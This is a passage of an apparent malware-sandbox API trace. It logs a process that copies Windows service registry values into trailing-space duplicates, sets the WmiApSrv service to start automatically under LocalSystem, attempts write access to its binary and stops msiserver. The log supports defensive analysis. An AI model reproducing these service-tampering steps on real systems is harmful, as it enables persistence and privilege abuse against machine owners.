RegCloseKey (hKey=0x154) returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.342] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.342] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.342] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.342] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.342] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.343] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.344] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.344] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.344] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.345] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.345] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.345] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.346] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.347] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0249.347] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.347] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.348] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.348] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0249.349] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0249.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0249.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0249.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0249.349] LocalFree (hMem=0x7f03d0) returned 0x0 [0249.349] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0249.349] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0249.349] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.350] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.351] RegCloseKey (hKey=0x154) returned 0x0 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0249.351] RegCloseKey (hKey=0x148) returned 0x0 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0249.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0249.351] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0249.351] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.351] GetLastError () returned 0x20 [0249.351] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0249.352] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0249.352] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0249.352] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x20) returned 0x803990 [0249.355] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0249.355] GetLastError () returned 0x425 [0249.355] CloseServiceHandle (hSCObject=0x803990) returned 1 [0249.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0249.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0249.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0249.356] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.356] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.356] RtlAllocateHeap 